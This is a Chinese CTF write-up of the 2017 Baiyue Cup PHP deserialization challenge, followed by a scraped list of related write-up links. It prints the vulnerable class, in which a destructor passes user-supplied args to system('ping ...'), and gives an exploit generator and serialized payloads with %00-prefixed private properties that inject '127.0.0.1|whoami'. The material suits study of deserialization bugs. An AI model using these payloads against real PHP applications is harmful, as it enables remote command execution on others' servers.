2017百越杯反序列化writeup
去年的了,之前也有研究过。只是因为感觉PHP反序列化挺好玩的所以就再研究了一遍。总之感觉反序列化漏洞挺好玩的。
题目代码:
1 <?php 2 3 class home{ 4 5 private $method; 6 private $args; 7 function __construct($method, $args) { 8 9 10 $this->method = $method; 11 $this->args = $args; 12 } 13 14 function __destruct(){ 15 if (in_array($this->method, array("ping"))) { 16 call_user_func_array(array($this, $this->method), $this->args); 17 } 18 } 19 20 function ping($host){ 21 system("ping -c 2 $host"); 22 } 23 function waf($str){ 24 $str=str_replace(' ','',$str); 25 return $str; 26 } 27 28 function __wakeup(){ 29 foreach($this->args as $k => $v) { 30 $this->args[$k] = $this->waf(trim(mysql_escape_string($v))); 31 } 32 } 33 } 34 $a=@$_POST['a']; 35 @unserialize($a); 36 ?>
__wakeup这个魔术方法是在反序列化后的时候执行,所以其调用链就是:
$_POST['a'] -> unserialize($a) -> __wakeup() -> __destruct()
第29行代码的意思是讲args遍历出$k和$v
然后过滤掉$v里的空格,waf这个函数也是将空格替换为空,然后赋值给$this->args[k]也就是重新赋值给属性。
然后__destruct()又判断method里是否有ping如果有执行16行。
而16行是一个回调函数(第一个参数为函数,第二个参数为传入的参数)
那么也就是说第一个参数我们如果传入ping那么执行的也就是ping命令,所以现在可以确定$method传入的是ping
第二个参数需要传入数组,因为29行的时候有遍历这个$args且数组里不能有空格,可以尝试传入array("127.0.0.1|whoami")那么我们可以尝试如下写出EXP
1 <?php 2 3 include "home.php"; 4 $data = new home("ping",array('127.0.0.1|whoami')); 5 echo serialize($data); 6 7 ?>
空格绕过方法千千万万种。随便拿一个$IFS
暂且先写whoami
payload:
O:4:"home":2:{s:12:"homemethod";s:4:"ping";s:10:"homeargs";a:1:{i:0;s:7:";whoami";}}
但是很尴尬这个payload生成了一直没办法用。TMDGB
测试发现需要在属性的前面加上%00才行
O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:16:"127.0.0.1|whoami";}}
要注意火狐浏览器的hackbar发送数据包的时候会自动进行url编码,所以要解码发送才行,不然是不行的,我就是测试一直发送一直不行。还一度以为是php版本的缘故。
转载于:https://www.cnblogs.com/nul1/p/9502333.html
2017百越杯反序列化writeup相关推荐
- 2018“百越杯”第四届福建省高校网络空间安全大赛部分题目writeup
2018"百越杯"第四届福建省高校网络空间安全大赛writeup 0x00题目存档: 链接: https://pan.baidu.com/s/1v59VfheEC5XY8vyKvg ...
- 2018福建省“百越杯”CTF初赛writeup
2018福建省"百越杯"CTF初赛writeup PWN Boring Game 题目描述 nc 117.50.59.220 12345 解题经过下载下来后有两个文件pwn和lib ...
- 2018 百越杯 pwn(format WriteUp)
看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞 思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...
- 第五届百越杯线上赛部分WP
Web BabyPHP 一访问容器就给了PHP代码 <?php error_reporting(1); class Read {private $var;public function file ...
- 百越杯 Reverse (crazy write up)
拿到程序后,先常规跑一跑: 然后我就把它扔到IDA看看 IDA SHIFT + F12 看到flag关键字,于是我就点击进去,并查看交叉引用 由此分析可以得出,flag可能是在if判断正确后输出的 于 ...
- 2018 百越杯 pwn(Boring Game Write up)
拿到题目,发现有libc库,想到应该就是要用到ret2libc了 先把pwn扔到IDA看看先 发现有明显的溢出漏洞. 发现程序是32位,且只开启了NX保护 利用思路: 1.泄漏__libc_start ...
- 2019百越杯初赛——哈尔的移动城堡
0x04 哈尔的移动城堡 操作内容:下载文件,得到一个压缩包,压缩包里有两张图片,第一张 102%,打开winhex,改文件头 把89474E50改为89504E47,再把文件的后缀名改为" ...
- 2017年美亚杯资格赛 个人赛 writeup
2017年美亚杯资格赛
- 记2017第八届蓝桥杯决赛(国赛)—北京三日游
离蓝桥杯国赛结束也已经有很多天了,这段时间也一直没怎么做题,也好久没打开csdn了,今天又重新捡起来,所以来随意扯一下这次的北京三日游.......啊不,2017第八届蓝桥杯. 这已经是我第二次打蓝桥 ...
- 2017第三届美亚杯全国电子数据取证大赛个人赛write up
2017年美亚杯全国电子数据取证大赛 本人TEL15543132658 同wechat,欢迎多多交流,wp有不足欢迎大家补充多多探讨! Questions 1 Gary的笔记本电脑已成功取证并制作成镜 ...
最新文章
- Linux【命令】修改文件内容
- iOS pods更新失败
- LibreOJ #2006. 「SCOI2015」小凸玩矩阵 二分答案+二分匹配
- 计算机病毒的防治 教案,计算机病毒及防治教案
- arrays中copyof_为什么阿里巴巴开发手册明确说明 Arrays.asList() 不能使用其修改方法?...
- Web前端培训分享:Web前端到底是什么?
- [代码整洁]自我感悟
- zblog php版调用代码,zblogphp调用指定单篇文章代码升级版
- b样条曲面绘制 opengl_CAD制图软件中如何利用EXCEL输入坐标绘制曲线?
- 《Python数据分析常用手册》NumPy和Pandas
- opera for android,Opera Mobile浏览器
- python绘制拟合回归散点图_Python之简单线性回归
- 基于windows fiber的协程(coroutine)实现
- 黑客站在 ATM 面前,机器就直接吐出钞票,他们是怎么做到的?
- 教你如何用PQ魔法师调整硬盘分区大小【图解教程】
- 英语用法整理_用语库
- Mac 下修改文件的 md5 值
- express获取url路由地址参数的方法 获取get请求参数
- 计算机毕业设计Java智慧防疫上报系统小程序端(源码+系统+mysql数据库+Lw文档)
- Elasticsearch 基于地理位置的搜索查询
热门文章
- 用R语言分析我和男友的聊天记录
- R语言的高质量图形渲染库Cairo
- android apk 可以直接放在systemapp下吗,内置语音apk到/system/app下的问题
- 2019年老电脑E5450+硬改775 无故死机故障排除记录
- git 服务器上新建项目
- Solr7部署报错:java.lang.NoSuchMethodError: javax.servlet.ServletInputStream.isFinished()Z
- UVA11107 Life Forms --- 后缀数组
- 【转】MongoDB学习笔记(查询)
- DisplayX显示器测试、显示器屏幕检测
- 回溯法2——和尚挑水